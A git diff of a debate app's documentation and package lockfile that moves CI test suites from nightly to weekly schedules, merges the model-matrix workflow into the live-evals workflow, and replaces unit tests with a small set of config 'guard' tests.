[`.github/workflows/prod-canary.yml`](../.github/workflows/prod-canary.yml): after every push to `main`, once Vercel reports the commit's production deployment, and daily at 06:41 UTC. The daily run makes two real AI requests, so provider drift shows up within a day even though the AI evals are weekly. +- [`.github/workflows/staging-e2e.yml`](../.github/workflows/staging-e2e.yml): protected staging, daily at 07:11 UTC and on demand from `main`. It runs only when `STAGING_E2E_ENABLED=true` and all protected values exist. [`.github/workflows/staging-preview-note.yml`](../.github/workflows/staging-preview-note.yml) comments once on a pull request that opens with `supabase/` changes. -[`.github/workflows/staging-e2e.yml`](../.github/workflows/staging-e2e.yml) owns protected staging. It starts only from `main`-branch `Quality` runs (a `branches` filter, so pull-request runs no longer start it) or a manual dispatch from `main`. It runs only when `STAGING_E2E_ENABLED=true` and all protected values exist. [`.github/workflows/staging-preview-note.yml`](../.github/workflows/staging-preview-note.yml) comments once on a pull request that opens with `supabase/` changes. +See [testing.md](testing.md) for what each proves. A week is a long time for a regression to sit unseen, so run the matching suite on your branch before merging when a change is squarely in its area: `gh workflow run live-e2e.yml --ref ` for AI, research, prompts or model routing; `browser-weekly.yml` for a change across many pages; `database.yml` for the full-stack flows; `agentic-e2e.yml` for a flow the agentic tests cover. Supabase-starting jobs pull images from `public.ecr.aws`, because ghcr.io rate-limits shared runners. + +Estimated cost, at about 150 pull-request runs and 50 pushes to `main` a month: about 1,700 billed minutes a month, down from about 4,400 when the agentic suite, the browser suite, the live journeys and the full database gate ran daily. The agentic suite is the largest single item, about 40 billed minutes a run. Measure before changing a schedule: `gh api repos/Programcode/DebateOwl/actions/runs//jobs` gives each job's start and end. ## When GitHub Actions cannot run @@ -101,7 +100,7 @@ The staging browser suite disables trace, screenshot, and video capture. It crea Do not enable the staging repository variable before every prerequisite is present. A skipped staging job is not a pass. -`STAGING_E2E_ENABLED` has been `true` since 2026-09-18. The job runs after every successful `Quality` run from a push to `main`, and it first waits up to 20 minutes for a successful `staging-sync` status on that commit. Check the latest real result with `gh run list --workflow staging-e2e.yml` and `npm run ci:failures -- `, not this page. The run uploads no artifact, so the job log is the only evidence. On failure the log names the failed step and the URL path, for example `Staging step "add a source to the debate" failed at path /app/library`. +`STAGING_E2E_ENABLED` has been `true` since 2026-09-18. The job runs daily and on demand from `main`, tests `main`'s head commit, and first waits up to 20 minutes for a successful `staging-sync` status on that commit. Until 2026-10-30 it ran after every push to `main`. Check the latest real result with `gh run list --workflow staging-e2e.yml` and `npm run ci:failures -- `, not this page. The run uploads no artifact, so the job log is the only evidence. On failure the log names the failed step and the URL path, for example `Staging step "add a source to the debate" failed at path /app/library`. No staging run passed after 2026-09-23. Until 2026-10-01 the job did not run, because the `Quality` run it waits for never started. Once Actions came back, it failed on every `main` push through 2026-10-02. The cause was the spec, not staging: since the Current Debate change (#72), Library disables **Add source** until a debate is current, and the spec never started one. The spec now starts a uniquely named debate and deletes it afterwards. The suite drives the real UI, so a change to a flow it covers can break it with no backend drift; run it locally before blaming staging. @@ -109,7 +108,7 @@ No staging run passed after 2026-09-23. Until 2026-10-01 the job did not run, be Staging is project `brifeyypjauyusmkptkx` ("DebateOwl Staging"). Production is `uziwdtkzofptihahfooo` ("DebateOwl"). Scripts go by ref; the display names can change. Staging syncs itself: a timer on the VPS applies migrations and deploys changed Edge Functions to staging within about 5 minutes of every commit on `main`. It sets the `staging-sync` commit status, and on failure it opens the **Staging is out of sync with main** issue. No per-run authorization is needed for staging. [staging.md](staging.md) covers the timer, its credential, the seed, and how to get in. -Before a production backend deploy, check that the commit's `staging-sync` status is green and that `Protected staging E2E` passed for it. Then follow [Supabase changes](#supabase-changes) with the list of migrations and functions that `npm run backend:status` reports for production. +Before a production backend deploy, check that the commit's `staging-sync` status is green and that `Protected staging E2E` passed for it. The daily run may not have reached that commit yet; dispatch it with `gh workflow run staging-e2e.yml --ref main` and wait for the result. Then follow [Supabase changes](#supabase-changes) with the list of migrations and functions that `npm run backend:status` reports for production. ## Switching the frontend to staging diff --git a/docs/staging.md b/docs/staging.md index 6a08894f6..b035a62e2 100644 --- a/docs/staging.md +++ b/docs/staging.md @@ -49,7 +49,7 @@ A user systemd timer on Adam's VPS, `debatelab-staging-sync.timer`, runs [`ops/s An already-synced commit is rechecked hourly, so drift from a hand deploy also shows up. A failed commit is retried hourly. The script stops instead of pushing when staging has a migration the commit lacks. It never deletes a function: one that is deployed on staging but gone from the commit fails the sync until someone runs `supabase functions delete --project-ref brifeyypjauyusmkptkx`. `workspace-invites` is the exception, because it is hidden and never deployed. -`Protected staging E2E` waits for a successful `staging-sync` status on its commit before testing, and the timer holds any sync while a browser job is running. If `main` moves past the commit while it waits, the run skips: staging then runs the newer backend, and the newer commit's run tests it. If no status arrives within 20 minutes, it fails with a pointer to this page. +`Protected staging E2E` waits for a successful `staging-sync` status on its commit before testing, and the timer holds any sync while a browser job is running. It runs daily and on demand, on `main`'s head. If `main` moves past the commit while it waits, the run skips: staging then runs the newer backend, which the next daily run or a dispatch tests. If no status arrives within 20 minutes, it fails with a pointer to this page. PRs that change `supabase/migrations/` or `supabase/functions/` get a comment saying their staging preview still runs `main`'s backend. Those changes reach staging only after merge. To try them before then, use the `verify-debatelab` skill against a local stack. diff --git a/docs/standards/security.md b/docs/standards/security.md index 48b98152a..2cbc183c9 100644 --- a/docs/standards/security.md +++ b/docs/standards/security.md @@ -22,7 +22,7 @@ Part of the [coding standards](../../CODING_STANDARDS.md). AGENTS.md "Hard bound These were raised in review, judged valid, and accepted on purpose. Changing them needs Adam's decision, not a reviewer's. -- Live provider keys reach branch code in `live-e2e.yml`, `model-matrix.yml` and `agentic-e2e.yml` when someone with push access dispatches them on a branch. Since 2026-10-29 these no longer run on pull requests. Adam accepted the original pull-request exposure on PR #68; the mitigation is dedicated low-limit keys ([#68](https://github.com/Programcode/DebateOwl/pull/68#discussion_r4090563258)). +- Live provider keys reach branch code in `live-e2e.yml` (including its model-matrix job) and `agentic-e2e.yml` when someone with push access dispatches them on a branch. Since 2026-10-29 these no longer run on pull requests. Adam accepted the original pull-request exposure on PR #68; the mitigation is dedicated low-limit keys ([#68](https://github.com/Programcode/DebateOwl/pull/68#discussion_r4090563258)). - The production canary account's credentials reach `prod-canary.yml` through Actions secrets, approved 2026-09-24 and recorded in AGENTS.md ([#68](https://github.com/Programcode/DebateOwl/pull/68#discussion_r4090664336)). - Manual canary runs can exhaust the account's daily quota; that shows as a quota error, not a false pass ([#68](https://github.com/Programcode/DebateOwl/pull/68#discussion_r4093482054)). - CodeRabbit rated the shared preview-origin allowlist from PR #95 as a high retained concern: an approved production preview runs unmerged code that can receive demo-session handoffs ([#95 security review](https://github.com/Programcode/DebateOwl/pull/95)). [docs/operations.md](../operations.md#opt-in-previews) describes the current setup. This one has no recorded decision yet. diff --git a/docs/testing.md b/docs/testing.md index 96567b10f..367625a90 100644 --- a/docs/testing.md +++ b/docs/testing.md @@ -16,12 +16,6 @@ npm run docs:check This checks maintained Markdown for supported local-link failures and actionable retired checkout paths. It does not validate remote URLs, Markdown syntax, factual freshness, or heading anchors. -Focused checker test: - -```bash -npx vitest run src/test/docs/check-docs.test.ts -``` - ## Lint and types ```bash @@ -37,23 +31,24 @@ Lint runs ESLint, then `npm run lint:repo`: Type checking uses `tsconfig.app.json` for the client and `tsconfig.agentic.json` for `e2e.config.ts` and `agentic/` (the e2e runner itself does not type-check), and emits no files. Neither command replaces runtime tests. -## Unit and component tests +## Guards ```bash npm test ``` -Vitest runs tests selected by [`vitest.config.ts`](../vitest.config.ts). The suite is deliberately small: it keeps only logic that browser tests cannot reach cheaply, such as security boundaries, Current Debate isolation, project selection, stream parsing, source import, and the Crossfire and Sparring rules. There is no coverage gate. Add a unit test for a pure function with real branching or a bug that has a clear repro; prove page behavior with Playwright instead. +DebateOwl does not keep unit or component tests. Behavior is proven end to end: the `@smoke` set on every pull request, the weekly browser, full-stack, agentic and live suites, and the `verify-debatelab` skill while you work. Unit tests of components and stores broke on every refactor, cost agents more time than the regressions they caught, and duplicated what the browser suites prove. -Run one test file while iterating: - -```bash -npx vitest run src/test/security/url-validation.test.ts -``` +What Vitest still runs are guards, the files listed in [`vitest.config.ts`](../vitest.config.ts). Each reads repo config or content and enforces a policy that no browser run sees, in about 2 seconds: -For a bug, watch the reproduction fail for the expected reason before implementing the fix. +- `src/test/ai/anthropic-only-guard.test.ts`: defaults, Auto pools, the testing agent and the live gate stay on Claude pinned to Anthropic. +- `src/test/vercel-deployment-config.test.ts`: `vercel.json` deploys only `main`, keeps the security headers, and frames only the embed. +- `src/test/security-hardening.test.ts`, `src/test/checkout-security.test.ts`, `src/test/stripe-account-presence.test.ts`: server-owned entitlements and quota, admin-only analytics, and Stripe customers and redirects bound to the signed-in user. +- `src/test/scripts/staging-sync.test.ts`, `src/test/supabase/pinned-env.test.ts`: the staging sync and credential-free e2e refuse the production project. +- `src/test/i18n.test.ts`, `src/test/i18n-keys.test.ts`, `src/test/i18n-untranslated.test.ts`: the three catalogs have the same keys and every literal key exists. +- `src/test/seo/guide-content.test.ts`, `src/test/seo/comparison-templating.test.ts`: the generated pages' length and duplicate-sentence rules. -Which behavior deserves a test, and which tests not to write, is in [AGENTS.md](../AGENTS.md#what-to-test). The short version: test specs where a regression is costly or invisible (auth, RLS, billing, quotas, migrations, concurrency, parsers, regressions of fixed bugs), and prove everything else by using the app. +Add a guard only for a rule of that kind, and list it in `vitest.config.ts`. A bug fix gets a regression test as a Playwright spec, an agentic test or a recipe, not a unit test. [AGENTS.md](../AGENTS.md#what-to-test) has the rule. ## Collaboration service tests @@ -61,7 +56,7 @@ Which behavior deserves a test, and which tests not to write, is in [AGENTS.md]( npm run test:collaboration ``` -This runs the Node collaboration service with real Hocuspocus providers and Yjs documents. It covers durable acknowledgement ordering, reconnect sync, duplicate delivery, schema and size rejection, PostgreSQL adapter behavior, proposal decision rollback, writer serialization, stale epochs, and process-kill recovery. It does not prove a deployed service. +Collaborative Workspace is hidden, so neither CI nor `npm run verify` runs these; run them when you change `services/collaboration/`. This runs the Node collaboration service with real Hocuspocus providers and Yjs documents. It covers durable acknowledgement ordering, reconnect sync, duplicate delivery, schema and size rejection, PostgreSQL adapter behavior, proposal decision rollback, writer serialization, stale epochs, and process-kill recovery. It does not prove a deployed service. ## Edge Function tests @@ -69,7 +64,7 @@ This runs the Node collaboration service with real Hocuspocus providers and Yjs npm run test:edge ``` -This uses Deno directly for `supabase/functions/`, including tests that import deployed handler boundaries and remote Deno modules. The npm script declares the allowed filesystem, environment, and loopback-network permissions. +This uses Deno directly for `supabase/functions/`, including tests that import deployed handler boundaries and remote Deno modules. The npm script declares the allowed filesystem, environment, and loopback-network permissions. These are the one set of handler-level tests the pull-request check still runs: Edge Functions hold auth, quota, billing and cost accounting, and no pull-request browser test reaches a real Edge Function. A browser-oriented Vitest pass does not replace native Deno tests. The stream accounting handler tests use synthetic OpenRouter responses and inspect audit inserts for complete, interrupted, and truncated streams. The permission list includes the OpenRouter key name because the handler reads it, but these tests require no real provider credentials. @@ -110,7 +105,7 @@ This proves the Vite production bundle compiles, prerenders the public pages, ch npm run test:sw ``` -Run this after `npm run build`; `npm run verify` runs it right after its build step, and the nightly browser workflow runs it too. It serves `dist/` through Vite preview (which applies the `vercel.json` rewrites, so app routes get `app-shell.html` as in production) and proves that a v2 worker cache upgrades to this build's caches and claims the page; that after one visit to `/app`, Home, Library, History, Settings and Timer open offline as fresh navigations, the timer runs, the offline indicator shows, and switching to Spanish works; that a visited public page answers offline only with itself and an unvisited one gets the offline page; that an unvisited route shows recovery UI and an intent-prefetched one opens; and that private API paths and `/auth/callback` do not enter Cache Storage. It uses a stub session and blocks external requests, so it is not authenticated backend or deployed-host proof. +Run this after `npm run build`; `npm run verify` runs it right after its build step, and the weekly browser workflow runs it too. It serves `dist/` through Vite preview (which applies the `vercel.json` rewrites, so app routes get `app-shell.html` as in production) and proves that a v2 worker cache upgrades to this build's caches and claims the page; that after one visit to `/app`, Home, Library, History, Settings and Timer open offline as fresh navigations, the timer runs, the offline indicator shows, and switching to Spanish works; that a visited public page answers offline only with itself and an unvisited one gets the offline page; that an unvisited route shows recovery UI and an intent-prefetched one opens; and that private API paths and `/auth/callback` do not enter Cache Storage. It uses a stub session and blocks external requests, so it is not authenticated backend or deployed-host proof. ## Credential-free browser gate @@ -118,7 +113,7 @@ Run this after `npm run build`; `npm run verify` runs it right after its build s P=$(bash .superset/e2e-port.sh) && CI=1 PORT=$P PLAYWRIGHT_BASE_URL=http://127.0.0.1:$P npm run test:e2e ``` -Pull requests run only tests tagged `@smoke` on desktop Chromium (`npm run test:e2e:smoke`, 26 tests): the startup shell, Login, every public and signed-in page in English, and the first-run tour. Each test pays a full page load from the dev server, about 6 seconds on a 2-CPU runner, so the set stays small enough for a 3-minute check. Tool journeys (Crossfire, Sparring, the free tools, layout regressions) run in the nightly suite. Tag a test `@smoke` only when a break there would stop most users and nothing else on the pull request would catch it. +Pull requests run only tests tagged `@smoke` on desktop Chromium (`npm run test:e2e:smoke`, 26 tests): the startup shell, Login, every public and signed-in page in English, and the first-run tour. Each test pays a full page load from the dev server, about 6 seconds on a 2-CPU runner, so the set stays small enough for a 3-minute check. Tool journeys (Crossfire, Sparring, the free tools, layout regressions) run in the weekly suite. Tag a test `@smoke` only when a break there would stop most users and nothing else on the pull request would catch it. `.superset/e2e-port.sh` gives each worktree its own port from `18100-18179`, recorded in `~/.superset/debatelab-ports/allocations.json`, so two worktrees can run the gate at once. Without `PORT`, Playwright falls back to `18080`. Playwright starts a new Vite server on that port and runs: @@ -135,13 +130,13 @@ The one-time DebateOwl welcome stays closed whenever `VITE_E2E` or `VITE_LOCAL_P `e2e/first-run.spec.ts` drives the same first run against stubbed Supabase routes in English and Hungarian, so it proves the client flow only. -`e2e/free-tools.spec.ts` (nightly) opens every `/tools` page signed out and checks its heading, canonical URL and JSON-LD, and that it makes no Supabase request. On a paused Playwright clock it runs the timer past the BP protected minute, through a reload, and runs the two Public Forum prep banks; it also draws a motion set and reloads its permalink, times a pasted speech, lays out a BP flow sheet under print media, and checks that `/embed/debate-timer` is `noindex` and requests nothing from another origin. The format data, timer transitions, custom-format links, motion filters and speech-time arithmetic have unit tests in `src/test/free-tools/`. The dev server cannot prove the response headers: `src/test/vercel-deployment-config.test.ts` checks which paths may be framed. +`e2e/free-tools.spec.ts` (weekly) opens every `/tools` page signed out and checks its heading, canonical URL and JSON-LD, and that it makes no Supabase request. On a paused Playwright clock it runs the timer past the BP protected minute, through a reload, and runs the two Public Forum prep banks; it also draws a motion set and reloads its permalink, times a pasted speech, lays out a BP flow sheet under print media, and checks that `/embed/debate-timer` is `noindex` and requests nothing from another origin. The dev server cannot prove the response headers: `src/test/vercel-deployment-config.test.ts` checks which paths may be framed. `src/test/i18n-keys.test.ts` fails when a literal `t()` key in `src/` is missing from `en.json`, or when a call that passes `count` lacks its `_one` and `_other` forms. Dynamic keys such as ``t(`nav.${key}`)`` are out of its reach. `src/test/i18n.test.ts` requires the same keys in all three catalogs. Together they prove every literal key has a Spanish and Hungarian entry, not that the translation is natural. -The speech unit test proves that Hungarian selects `recognition.lang = 'hu-HU'`. Credential-free browser automation has no real microphone or speech service, so it does not prove recognition accuracy or hardware support. +Credential-free browser automation has no real microphone or speech service, so it does not prove recognition accuracy or hardware support. -Voice rounds are tested without a microphone, a speech service, or an ElevenLabs key. `src/test/voice/` covers the capture hook against a scripted recogniser (interim words, restart on silence, last words after stop, pause timing, refused microphone), the delivery measurements in all three languages, and the opponent voice player against a scripted Web Audio and `speechSynthesis` (segment order, every fallback path, stop, and blocked autoplay). `src/test/pages/SparringVoice.test.tsx` and `CrossfireVoice.test.tsx` drive both pages through a spoken turn. `e2e/voice-rounds.spec.ts` does the same in Chromium with the scripted recogniser and `speechSynthesis` from `e2e/helpers/voice.ts`, once with the `voice` route returning audio and once with it returning `voice_unavailable`, and asserts that no audio tag reaches the page or storage. None of this proves how ElevenLabs sounds, that a real browser recogniser hears a student, or that the live `voice` function is deployed with a key. +Voice rounds are tested without a microphone, a speech service, or an ElevenLabs key. `e2e/voice-rounds.spec.ts` drives both pages through a spoken turn in Chromium with the scripted recogniser and `speechSynthesis` from `e2e/helpers/voice.ts`, once with the `voice` route returning audio and once with it returning `voice_unavailable`, and asserts that no audio tag reaches the page or storage. None of this proves how ElevenLabs sounds, that a real browser recogniser hears a student, or that the live `voice` function is deployed with a key. AI client and Edge tests prove that every request path carries a validated language and that prompts require Hungarian output. Provider responses are mocked; only an authorized protected-staging run can prove that a live provider follows the instruction across every prose field. @@ -153,8 +148,8 @@ npm run verify This is the pull-request check run locally, in about 100 seconds on the VPS. [`scripts/verify.mjs`](../scripts/verify.mjs) runs two lanes side by side: -1. documentation checks, the guide jargon check, lint, production build, the production service-worker offline smoke, native Edge Function tests -2. type checking, unit tests (including the comparison-page templating check: no sentence of more than 12 words may appear on more than two of the seven comparison pages, apart from the pricing sentence and the byline and disclosure lines; [`scripts/check_templating.py`](../scripts/check_templating.py), run by `src/test/seo/comparison-templating.test.ts`), collaboration service tests, the desktop Chromium `@smoke` set +1. documentation checks, the guide jargon check, lint, production build, the production service-worker offline smoke +2. type checking, the guards (including the comparison-page templating check: no sentence of more than 12 words may appear on more than two of the seven comparison pages, apart from the pricing sentence and the byline and disclosure lines; [`scripts/check_templating.py`](../scripts/check_templating.py), run by `src/test/seo/comparison-templating.test.ts`), native Edge Function tests, the desktop Chromium `@smoke` set The jargon check (`npm run seo:jargon`) fails when a generated guide in `public/` other than `/lincoln-douglas-debate` and `/policy-debate` uses framework, contention, warrant or impact calculus more than once in its visible text or its JSON-LD ([`scripts/check_jargon.py`](../scripts/check_jargon.py)). @@ -176,7 +171,7 @@ In Superset, run: ./.superset/db-gate.sh ``` -The wrapper acquires the first free local stack slot, starts local Supabase without the services no test uses (Studio, postgres-meta, analytics, the pooler and Realtime; the list is `SUPABASE_START_EXCLUDE` in `.superset/lib/slot.sh`), runs `npm run test:db`, then holds that slot while a controlled Mailpit relay, collaboration process, fake model provider, and Vite client run the real-Auth desktop/mobile workspace and full-stack feature journeys. The `Database` workflow runs this full gate daily and on demand, and retains its logs and browser traces on failure. It stops every owned process and the stack on exit, including after failure. To run only the database portion under the same slot lock, use `./.superset/db-gate.sh --db-only`: it starts Postgres alone (`supabase db start`), which pgTAP and the database scripts need and nothing more, in about 35 seconds locally. Pull requests that change the schema run this. Outside Superset, run it with: +The wrapper acquires the first free local stack slot, starts local Supabase without the services no test uses (Studio, postgres-meta, analytics, the pooler and Realtime; the list is `SUPABASE_START_EXCLUDE` in `.superset/lib/slot.sh`), runs `npm run test:db`, then holds that slot while a controlled Mailpit relay, collaboration process, fake model provider, and Vite client run the real-Auth desktop/mobile workspace and full-stack feature journeys. The `Database` workflow runs this full gate weekly and on demand, and retains its logs and browser traces on failure. It stops every owned process and the stack on exit, including after failure. To run only the database portion under the same slot lock, use `./.superset/db-gate.sh --db-only`: it starts Postgres alone (`supabase db start`), which pgTAP and the database scripts need and nothing more, in about 35 seconds locally. Pull requests that change the schema run this. Outside Superset, run it with: ```bash npx supabase db start @@ -229,7 +224,7 @@ The specs cover web-researched case generation, verified Factoids citations, Ask A live failure means the pipeline broke with this model. It does not prove how production models behave, because each model has its own latency and JSON quality. -`.github/workflows/live-e2e.yml` runs this nightly at 03:17 UTC and on demand (`gh workflow run live-e2e.yml --ref ` checks a branch before merging), using the `LIVE_OPENROUTER_API_KEY` and `LIVE_EXA_API_KEY` repository secrets. The gate exits before starting anything when either key is missing, so a misconfigured job fails instead of skipping. +`.github/workflows/live-e2e.yml` (the `AI evals` workflow) runs this on Mondays at 03:17 UTC and on demand (`gh workflow run live-e2e.yml --ref ` checks a branch before merging), using the `LIVE_OPENROUTER_API_KEY` and `LIVE_EXA_API_KEY` repository secrets. The gate exits before starting anything when either key is missing, so a misconfigured job fails instead of skipping. ### Model matrix @@ -239,7 +234,7 @@ LIVE_PROVIDERS=1 LIVE_MODEL=as-requested LIVE_OPENROUTER_API_KEY=... LIVE_EXA_AP `LIVE_MODEL=as-requested` switches the gate to `e2e/model-matrix/`. The proxy forwards whatever model the Edge Function chose, and the spec picks each model in `MODEL_CATALOG` from the Generate page's model menu and generates one researched case. A model that exhausts the `ai` function's shared 130-second request budget or returns invalid JSON fails its test. Each test prints the provider latency (`latency : `) so the run log shows how close each model gets to the budget. -`.github/workflows/model-matrix.yml` runs this on Mondays at 04:29 UTC and on demand. A branch that changes model routing, prompts, or the `ai` function can run it with `gh workflow run model-matrix.yml --ref `. One run costs about $1 in model and search usage. +The `model-matrix` job of `.github/workflows/live-e2e.yml` runs this on Mondays at 03:17 UTC, next to the live journeys, and on demand. A branch that changes model routing, prompts, or the `ai` function can run it with `gh workflow run live-e2e.yml --ref -f suite=model-matrix`. One run costs about $1 in model and search usage. ## Agentic browser tests @@ -274,7 +269,7 @@ To write a test, import `test`, `expect`, and the fixtures from [`agentic/suppor A bug bash runs several explorations in parallel, one charter per area and persona, then proves each finding with a repro test. Ask an agent to "bug bash "; the `e2e` skill's `bug-bash` topic has the procedure. A finding counts only when its repro test fails for the reported reason. Tag repro tests `{ tags: ["repro"] }` so the scheduled suite skips them until the fix lands, then remove the tag so they become regression tests. The client runs on a Vite dev server, so a route that is still compiling can look like a dead link to an explorer. Reproduce before you believe it. -[`.github/workflows/agentic-e2e.yml`](../.github/workflows/agentic-e2e.yml) runs the suite nightly at 03:47 UTC and on demand (`gh workflow run agentic-e2e.yml --ref `), never on pull requests, in four jobs: the page sweep and everything else, on each viewport. Every Sunday at 05:13 UTC it runs a bug bash instead: one exploration per persona, each with its own charter. On demand with a goal, it runs one exploration with the chosen persona and viewport. It uses the `LIVE_OPENROUTER_API_KEY` secret (the `E2E_AGENT_MODEL` and `E2E_JUDGE_MODEL` repository variables override the models), fails when the key is missing, and writes the report to the job summary. Explorations never fail the workflow: their findings are leads to reproduce. The suite is not a required check: model judgments can flake, and a red nightly is a finding to triage. +[`.github/workflows/agentic-e2e.yml`](../.github/workflows/agentic-e2e.yml) runs the suite on Wednesdays at 03:47 UTC and on demand (`gh workflow run agentic-e2e.yml --ref `), never on pull requests, in four jobs: the page sweep and everything else, on each viewport. On the 1st of each month at 05:13 UTC it runs a bug bash instead: one exploration per persona, each with its own charter. On demand with a goal, it runs one exploration with the chosen persona and viewport. It uses the `LIVE_OPENROUTER_API_KEY` secret (the `E2E_AGENT_MODEL` and `E2E_JUDGE_MODEL` repository variables override the models), fails when the key is missing, and writes the report to the job summary. Explorations never fail the workflow: their findings are leads to reproduce. The suite is not a required check: model judgments can flake, and a red weekly run is a finding to triage. e2e is pre-1.0 and its minor releases have broken APIs, so it is pinned exactly. Read its changelog before upgrading, refresh the vendored skill as its header says, and expect the replay cache to re-record after a minor bump. @@ -367,11 +362,11 @@ Tests are not the proof that a change works; using it is. Two local recipes that ## CI evidence -[`.github/workflows/deploy.yml`](../.github/workflows/deploy.yml), the `Quality` workflow, is the pull-request check: documentation, lint, type, unit, collaboration, Edge Function, and build checks, and the `@smoke` set on desktop Chromium, in parallel jobs. [`.github/workflows/database.yml`](../.github/workflows/database.yml) runs pgTAP on pull requests that change the schema, and the full database gate daily. [`.github/workflows/browser-nightly.yml`](../.github/workflows/browser-nightly.yml) runs the full desktop and mobile suite daily. [operations.md](operations.md#ci-workflows) lists every schedule and how to dispatch one on a branch. +[`.github/workflows/deploy.yml`](../.github/workflows/deploy.yml), the `Quality` workflow, is the pull-request check: one `check` job (documentation, lint, types, guards, Edge Function tests, build) and the `@smoke` set on desktop Chromium beside it. [`.github/workflows/database.yml`](../.github/workflows/database.yml) runs pgTAP on pull requests that change the schema, and the full database gate weekly. [`.github/workflows/browser-weekly.yml`](../.github/workflows/browser-weekly.yml) runs the full desktop and mobile suite weekly. [operations.md](operations.md#ci-workflows) lists every schedule and how to dispatch one on a branch. [`.github/workflows/staging-e2e.yml`](../.github/workflows/staging-e2e.yml) owns protected staging conditions. -[`.github/workflows/agentic-e2e.yml`](../.github/workflows/agentic-e2e.yml) runs the agentic suite and on-demand explorations. [`.github/workflows/live-e2e.yml`](../.github/workflows/live-e2e.yml) runs the live provider journeys, and [`.github/workflows/prod-canary.yml`](../.github/workflows/prod-canary.yml) runs the production canary. `main` has no branch protection or rulesets (checked 2026-10-01; GitHub Free does not enforce them on private repositories), so no check is required. Path-filtered workflows that don't run therefore don't block merges. Read the PR's checks before merging. +[`.github/workflows/agentic-e2e.yml`](../.github/workflows/agentic-e2e.yml) runs the agentic suite and on-demand explorations. [`.github/workflows/live-e2e.yml`](../.github/workflows/live-e2e.yml) runs the live provider journeys and the model matrix, and [`.github/workflows/prod-canary.yml`](../.github/workflows/prod-canary.yml) runs the production canary. `main` has no branch protection or rulesets (checked 2026-10-01; GitHub Free does not enforce them on private repositories), so no check is required. Path-filtered workflows that don't run therefore don't block merges. Read the PR's checks before merging. To see why a run failed, use `npm run ci:failures` (current branch's PR), `npm run ci:failures -- ` or `npm run ci:failures -- `. It works while the run is still going, as soon as a job fails. It lists failed jobs and steps, prints the Playwright or Vitest summary from each job log, downloads the `*-failure-` artifacts into ignored `.ci-failures/`, and prints each failed test's error plus the dialogs and headings from its `error-context.md` page snapshot. A dialog the spec never answered shows up there. Protected staging uploads no artifact, so only its job log is available. @@ -387,7 +382,7 @@ When Actions cannot run at all, the local `npm run verify` and `./.superset/db-g ## What each result does not prove - Render test: no authenticated backend proof. -- Unit test: no browser integration proof. +- Guard: no runtime proof; it reads config and content. - Build: no runtime or provider proof. - Local browser pass: no current-head CI proof. - Credential-free E2E: no staging synchronization proof. diff --git a/e2e/authed-pages.spec.ts b/e2e/authed-pages.spec.ts index a8d8700c0..a58c29387 100644 --- a/e2e/authed-pages.spec.ts +++ b/e2e/authed-pages.spec.ts @@ -19,7 +19,7 @@ const AUTH_ROUTES = [ ] as const; for (const locale of LOCALES) { - // English runs in the pull-request smoke set; the other locales run nightly. + // English runs in the pull-request smoke set; the other locales run weekly. test.describe(`authed pages [${locale}]`, locale === 'en' ? { tag: '@smoke' } : {}, () => { test.beforeEach(async ({ page }) => { await setLocale(page, locale); diff --git a/package-lock.json b/package-lock.json index a0636cfa6..345f73a3f 100644 --- a/package-lock.json +++ b/package-lock.json @@ -7,6 +7,7 @@ "": { "name": "debateowl", "version": "0.0.0", + "license": "SEE LICENSE IN LICENSE", "workspaces": [ "packages/*" ], @@ -85,21 +86,17 @@ "@sentry/vite-plugin": "^5.4.0", "@tailwindcss/typography": "^0.5.16", "@tailwindcss/vite": "^4.3.3", - "@testing-library/jest-dom": "^6.6.0", - "@testing-library/react": "^16.0.0", "@types/node": "^22.16.5", "@types/pg": "8.23.1", "@types/react": "^18.3.23", "@types/react-dom": "^18.3.7", "@vitejs/plugin-react-swc": "^3.11.0", - "@vitest/coverage-v8": "^4.1.12", "ai": "^7.0.127", "e2e": "0.17.0", "eslint": "^9.32.0", "eslint-plugin-react-hooks": "^5.2.0", "eslint-plugin-react-refresh": "^0.4.20", "globals": "^15.15.0", - "jsdom": "^20.0.3", "knip": "^6.39.0", "squawk-cli": "^2.67.0", "supabase": "2.121.0", @@ -116,13 +113,6 @@ "node": "22.x" } }, - "node_modules/@adobe/css-tools": { - "version": "4.5.0", - "resolved": "https://registry.npmjs.org/@adobe/css-tools/-/css-tools-4.5.0.tgz", - "integrity": "sha512-6OzddxPio9UiWTCemp4N8cYLV2ZN1ncRnV1cVGtve7dhPOtRkleRyx32GQCYSwDYgaHU3USMm84tNsvKzRCa1Q==", - "dev": true, - "license": "MIT" - }, "node_modules/@ai-sdk/gateway": { "version": "4.0.103", "resolved": "https://registry.npmjs.org/@ai-sdk/gateway/-/gateway-4.0.103.tgz", @@ -460,16 +450,6 @@ "node": ">=6.9.0" } }, - "node_modules/@bcoe/v8-coverage": { - "version": "1.0.2", - "resolved": "https://registry.npmjs.org/@bcoe/v8-coverage/-/v8-coverage-1.0.2.tgz", - "integrity": "sha512-6zABk/ECA/QYSCQ1NGiVwwbQerUCZ+TQbp64Q3AgmfNvurHH0j8TtXa1qbShXA6qqkpAj4V5W8pP6mLe1mcMqA==", - "dev": true, - "license": "MIT", - "engines": { - "node": ">=18" - } - }, "node_modules/@clack/core": { "version": "1.5.1", "resolved": "https://registry.npmjs.org/@clack/core/-/core-1.5.1.tgz", @@ -5356,82 +5336,6 @@ "react": "^18 || ^19" } }, - "node_modules/@testing-library/dom": { - "version": "10.4.1", - "resolved": "https://registry.npmjs.org/@testing-library/dom/-/dom-10.4.1.tgz", - "integrity": "sha512-o4PXJQidqJl82ckFaXUeoAW+XysPLauYI43Abki5hABd853iMhitooc6znOnczgbTYmEP6U6/y1ZyKAIsvMKGg==", - "dev": true, - "license": "MIT", - "peer": true, - "dependencies": { - "@babel/code-frame": "^7.10.4", - "@babel/runtime": "^7.12.5", - "@types/aria-query": "^5.0.1", - "aria-query": "5.3.0", - "dom-accessibility-api": "^0.5.9", - "lz-string": "^1.5.0", - "picocolors": "1.1.1", - "pretty-format": "^27.0.2" - }, - "engines": { - "node": ">=18" - } - }, - "node_modules/@testing-library/jest-dom": { - "version": "6.9.1", - "resolved": "https://registry.npmjs.org/@testing-library/jest-dom/-/jest-dom-6.9.1.tgz", - "integrity": "sha512-zIcONa+hVtVSSep9UT3jZ5rizo2BsxgyDYU7WFD5eICBE7no3881HGeb/QkGfsJs6JTkY1aQhT7rIPC7e+0nnA==", - "dev": true, - "license": "MIT", - "dependencies": { - "@adobe/css-tools": "^4.4.0", - "aria-query": "^5.0.0", - "css.escape": "^1.5.1", - "dom-accessibility-api": "^0.6.3", - "picocolors": "^1.1.1", - "redent": "^3.0.0" - }, - "engines": { - "node": ">=14", - "npm": ">=6", - "yarn": ">=1" - } - }, - 